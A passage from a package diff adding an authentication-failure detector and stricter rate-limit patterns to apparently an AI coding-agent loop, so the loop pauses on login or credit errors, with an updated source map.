// ordinary text like "I added rate limiting" or "the rate limit is 100 req/s",
|
|
34
|
+
// pausing the loop for minutes/hours with no actual throttling. Require the
|
|
35
|
+
// provider's error/banner context.
|
|
36
|
+
/api error[^\n]{0,120}rate limit/i, // "API Error: 429 ... rate limit(ed)"
|
|
37
|
+
/·\s*rate limited/i, // "... · Rate limited" suffix banner
|
|
32
38
|
];
|
|
39
|
+
/**
|
|
40
|
+
* Raised when the provider CLI reports it is logged out / unauthenticated /
|
|
41
|
+
* out of credit — a state the loop must NOT treat as task failure. Unlike a
|
|
42
|
+
* rate limit there is no reset time: the loop pauses indefinitely and asks the
|
|
43
|
+
* operator to re-authenticate.
|
|
44
|
+
*/
|
|
45
|
+
class AuthError extends Error {
|
|
46
|
+
rawMessage;
|
|
47
|
+
constructor(rawMessage) {
|
|
48
|
+
super(rawMessage);
|
|
49
|
+
this.rawMessage = rawMessage;
|
|
50
|
+
this.name = 'AuthError';
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
exports.AuthError = AuthError;
|
|
54
|
+
/**
|
|
55
|
+
* Phrases that mean "the CLI is not authenticated / out of credit". These are
|
|
56
|
+
* high-signal provider error strings (invalid key, expired/revoked token,
|
|
57
|
+
* /login prompt, low balance) that never appear in ordinary assistant prose,
|
|
58
|
+
* so they are safe to match case-insensitively across the captured output.
|
|
59
|
+
*/
|
|
60
|
+
const AUTH_PHRASES = [
|
|
61
|
+
/invalid api key/i, // Claude: "Invalid API key · Please run /login"
|
|
62
|
+
/credit balance is too low/i, // Anthropic out-of-credit banner
|
|
63
|
+
/please run\s+\/login/i, // explicit re-login instruction
|
|
64
|
+
/oauth token[^\n]{0,60}(expired|revoked|invalid)/i, // token lifecycle failure
|
|
65
|
+
/authentication_error/i, // Anthropic API error type
|
|
66
|
+
// "not logged in / authenticated" only when paired with a re-auth instruction
|
|
67
|
+
// (a bare mention appears in ordinary code the agent writes).
|
|
68
|
+
/not (logged in|authenticated)[^\n]{0,40}(log ?in|authenticate|run|sign in|\/login)/i,
|
|
69
|
+
];
|
|
70
|
+
class AuthDetector {
|
|
71
|
+
/** True when text contains any known auth-failure phrase. */
|
|
72
|
+
static matches(text) {
|
|
73
|
+
if (!text) {
|
|
74
|
+
return false;
|
|
75
|
+
}
|
|
76
|
+
return AUTH_PHRASES.some(p => p.test(text));
|
|
77
|
+
}
|
|
78
|
+
/** Build an AuthError from text, or null when text is not an auth failure. */
|
|
79
|
+
static detect(text) {
|
|
80
|
+
if (!AuthDetector.matches(text)) {
|
|
81
|
+
return null;
|
|
82
|
+
}
|
|
83
|
+
return new AuthError((text ?? '').trim() || 'Authentication required');
|
|
84
|
+
}
|
|
85
|
+
}
|
|
86
|
+
exports.AuthDetector = AuthDetector;
|
|
33
87
|
class RateLimitDetector {
|
|
34
88
|
/** True when text contains any known rate-limit phrase. */
|
|
35
89
|
static matches(text) {
|
package/out/rateLimit.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"rateLimit.js","sourceRoot":"","sources":["../src/rateLimit.ts"],"names":[],"mappings":";AAAA,8EAA8E;AAC9E,2EAA2E;AAC3E,uEAAuE;AACvE,+DAA+D;AAC/D,8EAA8E;;;AAE9E,MAAa,cAAe,SAAQ,KAAK;IAClB;IAA6B;IAAlD,YAAqB,UAAkB,EAAW,OAAyB;QACzE,KAAK,CAAC,UAAU,CAAC,CAAC;QADC,eAAU,GAAV,UAAU,CAAQ;QAAW,YAAO,GAAP,OAAO,CAAkB;QAEzE,IAAI,CAAC,IAAI,GAAG,gBAAgB,CAAC;IAC/B,CAAC;CACF;AALD,wCAKC;AAED;;;;;GAKG;AACH,MAAM,OAAO,GAA0B;IACrC,iBAAiB,EAAiB,sDAAsD;IACxF,
|
|
1
|
+
{"version":3,"file":"rateLimit.js","sourceRoot":"","sources":["../src/rateLimit.ts"],"names":[],"mappings":"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"}
|